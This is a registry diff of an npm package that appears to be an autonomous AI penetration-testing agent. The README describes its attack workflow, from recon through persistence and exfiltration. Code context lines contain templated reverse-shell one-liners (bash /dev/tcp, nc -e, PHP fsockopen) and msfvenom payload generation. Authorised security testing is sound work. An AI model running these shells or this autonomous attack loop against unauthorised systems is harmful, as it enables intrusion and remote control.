pentesting 0.7.32 → 0.7.34

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/README.md +53 -18
  2. package/dist/index.js +44 -4
  3. package/package.json +1 -1
package/README.md CHANGED
@@ -35,26 +35,61 @@ pentesting
35
35
 
36
36
  ---
37
37
 
38
- ## Features
38
+ ## 🧠 Philosophy: Think Like a Hacker
39
+
40
+ **Pentesting is not a brute-force tool.** It's an intelligent agent that thinks strategically.
41
+
42
+ ### Strategic Decision Framework
43
+
44
+ Every action is evaluated using:
45
+
46
+ ```
47
+ Value = (Probability × CVSS Impact) / Time Cost
48
+ ```
49
+
50
+ The agent only executes actions with **confidence >50%**. Below that, it finds a better approach.
51
+
52
+ ### Self-Reflection Before Every Action
53
+
54
+ Before running any tool, the agent asks:
55
+ - "What exactly am I trying to learn?"
56
+ - "Is this the FASTEST way to get that information?"
57
+ - "Have I already tried this? What happened?"
58
+ - "Is there a simpler approach?"
59
+
60
+ ### Mandatory Fallback Strategy
61
+
62
+ When a tool fails, the agent immediately tries alternatives:
63
+
64
+ | Task | Primary | Fallback 1 | Fallback 2 |
65
+ |------|---------|------------|------------|
66
+ | Subdomain | subfinder | ffuf | amass |
67
+ | Directory | gobuster | ffuf | dirsearch |
68
+ | Port Scan | rustscan | nmap | masscan |
69
+
70
+ ---
71
+
72
+ ## 🔥 Why Pentesting?
73
+
74
+ | Feature | Traditional Tools | Pentesting Agent |
75
+ |---------|-------------------|------------------|
76
+ | Decision Making | Manual | AI-driven with confidence scoring |
77
+ | Tool Selection | You choose | Auto-selects based on context |
78
+ | Failure Handling | You retry | Auto-fallback to alternatives |
79
+ | Attack Planning | Manual prioritization | CVSS-based priority matrix |
80
+ | Context Awareness | None | Remembers all findings |
81
+ | Reporting | Manual | Auto-generated findings |
82
+
83
+ ---
84
+
85
+ ## ✨ Core Capabilities
39
86
 
40
- ### Core Capabilities
41
- - **Intelligent Agent**: Self-reflection and decision framework (inspired by Claude Code)
42
- - **Confidence Scoring**: Only acts on actions with >50% success probability
43
87
  - **10-Phase Attack Workflow**: Recon → Scan → Enum → Vuln Analysis → Exploitation → PrivEsc → Pivot → Persist → Exfil → Report
44
- - **Auto Docker Management**: Automatically pulls and starts `pentesting-tools` container
45
- - **Multi-Target Attack**: Register multiple targets and attack them sequentially
46
- - **Real-time Feedback**: See thinking process, tool calls, and results live
47
- - **ESC Interrupt**: Stop execution anytime with ESC key
48
- - **Rainbow Spinner**: Visual feedback with cycling colors
49
-
50
- ### v0.7.16 New Features
51
- - **Self-Reflection**: Agent asks "Is this the fastest way?" before every action
52
- - **Decision Framework**: Value = (Probability × Impact) / Time Cost
53
- - **Concrete Tool Commands**: Exact ffuf, nmap, hydra syntax with wordlist paths
54
- - **Auto Docker**: Container starts automatically when tools are missing
55
- - **Thinking Display**: See `[thinking]` and `[reasoning]` messages
56
- - **Token Label**: Status bar shows `3k tok` instead of just `3k`
57
- - **Approval Fix**: "Approve always" now works correctly (no repeat prompts)
88
+ - **Auto Docker Management**: Pulls and starts tool container automatically
89
+ - **Multi-Target Attack**: Attack multiple targets sequentially
90
+ - **Real-time Feedback**: See thinking process, tool calls, results live
91
+ - **Session Persistence**: Save/resume attack sessions
92
+ - **Context Compaction**: Automatic history summarization
58
93
 
59
94
  ---
60
95
 
package/dist/index.js CHANGED
@@ -1925,7 +1925,7 @@ async function executeMetasploit(input) {
1925
1925
  return executeBash(`msfconsole -q -x "${command}; exit"`, { timeout: 3e5 });
1926
1926
  }
1927
1927
  async function generatePayload(input) {
1928
- const { payload_type, lhost, lport, platform: platform2, format, encoder, output } = input;
1928
+ const { payload_type, lhost, lport, platform: platform3, format, encoder, output } = input;
1929
1929
  const payloads = {
1930
1930
  windows: {
1931
1931
  reverse_tcp: "windows/meterpreter/reverse_tcp",
@@ -1944,7 +1944,7 @@ async function generatePayload(input) {
1944
1944
  reverse_tcp: "python/meterpreter/reverse_tcp"
1945
1945
  }
1946
1946
  };
1947
- const payloadName = payloads[platform2]?.[payload_type] || `${platform2}/meterpreter/reverse_tcp`;
1947
+ const payloadName = payloads[platform3]?.[payload_type] || `${platform3}/meterpreter/reverse_tcp`;
1948
1948
  let cmd = `msfvenom -p ${payloadName} LHOST=${lhost} LPORT=${lport}`;
1949
1949
  if (format) cmd += ` -f ${format}`;
1950
1950
  if (encoder) cmd += ` -e ${encoder}`;
@@ -2276,7 +2276,7 @@ async function executeMysqlClient(input) {
2276
2276
  return executeBash(cmd, { timeout: 6e4 });
2277
2277
  }
2278
2278
  async function executeReverseShell(input) {
2279
- const { type, lhost, lport, platform: platform2, encode } = input;
2279
+ const { type, lhost, lport, platform: platform3, encode } = input;
2280
2280
  const shells = {
2281
2281
  bash: `bash -i >& /dev/tcp/${lhost}/${lport} 0>&1`,
2282
2282
  nc: `nc -e /bin/bash ${lhost} ${lport}`,
@@ -2285,7 +2285,7 @@ async function executeReverseShell(input) {
2285
2285
  php: `php -r '$sock=fsockopen("${lhost}",${lport});exec("/bin/bash <&3 >&3 2>&3");'`
2286
2286
  };
2287
2287
  if (type === "msfvenom") {
2288
- const payload = platform2 === "windows" ? "windows/x64/shell_reverse_tcp" : "linux/x64/shell_reverse_tcp";
2288
+ const payload = platform3 === "windows" ? "windows/x64/shell_reverse_tcp" : "linux/x64/shell_reverse_tcp";
2289
2289
  return executeBash(`msfvenom -p ${payload} LHOST=${lhost} LPORT=${lport} -f exe -o /tmp/shell.exe && echo "Payload saved to /tmp/shell.exe"`);
2290
2290
  }
2291
2291
  let shellCmd = shells[type] || shells.bash;
@@ -6128,6 +6128,45 @@ function hasClipboardImage() {
6128
6128
  return false;
6129
6129
  }
6130
6130
 
6131
+ // src/utils/notification.ts
6132
+ import { exec as exec2 } from "child_process";
6133
+ import { platform as platform2 } from "os";
6134
+ function sendNotification(options) {
6135
+ const { title, message, sound = true } = options;
6136
+ const os = platform2();
6137
+ try {
6138
+ if (os === "darwin") {
6139
+ const soundOption = sound ? 'sound name "Ping"' : "";
6140
+ const script = `display notification "${escapeQuotes(message)}" with title "${escapeQuotes(title)}" ${soundOption}`;
6141
+ exec2(`osascript -e '${script}'`);
6142
+ } else if (os === "linux") {
6143
+ exec2(`notify-send "${escapeQuotes(title)}" "${escapeQuotes(message)}"`);
6144
+ } else if (os === "win32") {
6145
+ const ps = `
6146
+ [Windows.UI.Notifications.ToastNotificationManager, Windows.UI.Notifications, ContentType = WindowsRuntime] | Out-Null
6147
+ $Template = [Windows.UI.Notifications.ToastTemplateType]::ToastText02
6148
+ $Xml = [Windows.UI.Notifications.ToastNotificationManager]::GetTemplateContent($Template)
6149
+ $Xml.GetElementsByTagName('text')[0].AppendChild($Xml.CreateTextNode('${escapeQuotes(title)}')) | Out-Null
6150
+ $Xml.GetElementsByTagName('text')[1].AppendChild($Xml.CreateTextNode('${escapeQuotes(message)}')) | Out-Null
6151
+ $Notifier = [Windows.UI.Notifications.ToastNotificationManager]::CreateToastNotifier('Pentesting')
6152
+ $Notifier.Show([Windows.UI.Notifications.ToastNotification]::new($Xml))
6153
+ `;
6154
+ exec2(`powershell -Command "${ps}"`);
6155
+ }
6156
+ } catch {
6157
+ }
6158
+ }
6159
+ function escapeQuotes(str) {
6160
+ return str.replace(/"/g, '\\"').replace(/'/g, "'\\''");
6161
+ }
6162
+ function notifyApprovalNeeded(toolName) {
6163
+ sendNotification({
6164
+ title: "Pentesting - Approval Required",
6165
+ message: `Action requires approval: ${toolName}`,
6166
+ sound: true
6167
+ });
6168
+ }
6169
+
6131
6170
  // src/config/theme.ts
6132
6171
  var THEME = {
6133
6172
  // Backgrounds (dark to light grays)
@@ -6743,6 +6782,7 @@ var App = ({ autoApprove = false, target }) => {
6743
6782
  toolInput: data.toolInput,
6744
6783
  riskLevel: data.riskLevel
6745
6784
  });
6785
+ notifyApprovalNeeded(data.toolName);
6746
6786
  addMessage(MESSAGE_TYPE.SYSTEM, `APPROVAL NEEDED: ${data.toolName} (${data.riskLevel} risk)`);
6747
6787
  const inputPreview = Object.entries(data.toolInput).slice(0, 2).map(([k, v]) => `${k}=${typeof v === "string" ? v.slice(0, 40) : JSON.stringify(v).slice(0, 40)}`).join(", ");
6748
6788
  if (inputPreview) {
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "pentesting",
3
- "version": "0.7.32",
3
+ "version": "0.7.34",
4
4
  "description": "Autonomous Penetration Testing AI Agent",
5
5
  "type": "module",
6
6
  "main": "dist/index.js",